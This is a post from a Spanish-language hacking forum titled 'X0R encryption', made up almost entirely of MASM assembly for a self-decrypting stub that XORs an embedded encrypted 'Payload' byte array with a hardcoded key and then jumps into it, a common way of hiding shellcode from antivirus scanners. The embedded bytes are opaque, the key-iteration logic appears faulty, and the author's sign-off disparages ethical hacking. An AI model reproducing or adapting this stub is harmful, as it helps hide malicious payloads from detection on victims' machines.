Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

X0R encryption

  • 0 Respuestas
  • 3428 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ZanGetsu

  • *
  • Underc0der
  • Mensajes: 325
  • Actividad:
    0%
  • Reputación 0
  • I ZanGetsu
    • Ver Perfil
  • Skype: thenicox
  • Twitter: black_zangetsu
« en: Julio 27, 2017, 09:41:58 am »
Código: ASM
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4.  
  5.  
  6. include \masm32\include\windows.inc
  7. include \masm32\include\kernel32.inc
  8. includelib \masm32\lib\kernel32.lib
  9. include \masm32\include\user32.inc
  10. includelib \masm32\lib\user32.lib
  11.  
  12.  
  13. .data
  14.         Key db "uidoisbossuidoisboss"                             ;key for decrypting
  15.         KeyLength equ $- offset Key
  16. .data?
  17.         Buffer db ?
  18. .code
  19. start:
  20.         jmp Go
  21. Payload:       
  22.         db 00bh, 064h, 08dh, 07fh, 032h, 0d2h, 015h,\ ;
  23.            069h, 022h, 039h, 00fh, 064h, 0d8h, 055h,\ ;
  24.            038h, 06ah, 032h, 059h, 030h, 08eh, 04ch,\ ;
  25.            065h, 077h, 061h, 08ch, 081h, 094h, 095h,\ ;
  26.            0c6h, 063h, 053h, 01fh, 01ah, 009h, 001h,\ ;
  27.            010h, 025h, 059h, 01ah, 046h, 05ah, 05fh,\ ;
  28.            008h, 06ah, 08dh, 0a1h, 09eh, 09bh, 099h   ;
  29.         db 038h, 00bh, 054h, 040h, 05eh, 017h, 06ah,\ ;
  30.            090h,                                                                          ;
  31.          
  32.  
  33.  
  34. Go:
  35.         mov ebx, KeyLength                      ;setting the Keylength
  36.         mov ecx, 0                                      ;zeroing the main iterator
  37.         mov edx, 0                                      ;zeroing the key iterator
  38.         lea eax, Key
  39. Cipher:
  40.         cmp byte Payload[ecx], 090h     ;checking if the byte isn't the NOP
  41.         je Payload                                      ;if so jump to Payload
  42.         cmp ebx, edx                            ;checking if the key iterator didn't reach the length limit
  43.         jg Skip                                         ;if not the skip zeroing the next instruction
  44.         lea eax, Key                            ;zero-ing the key iterator
  45. Skip:
  46.         mov DL, [eax]
  47.         xor Payload[ecx], DL            ;xoring the byte of payload
  48.         inc ecx                                         ;Iterator++
  49.         inc edx                                         ;KeyIterator++
  50.         inc eax
  51.         jmp Cipher                                      ;returning to the beggining of the loop
  52. end start
  53.  
  54. The Ethical Hacking is Trash
  55.  

 

¿Te gustó el post? COMPARTILO!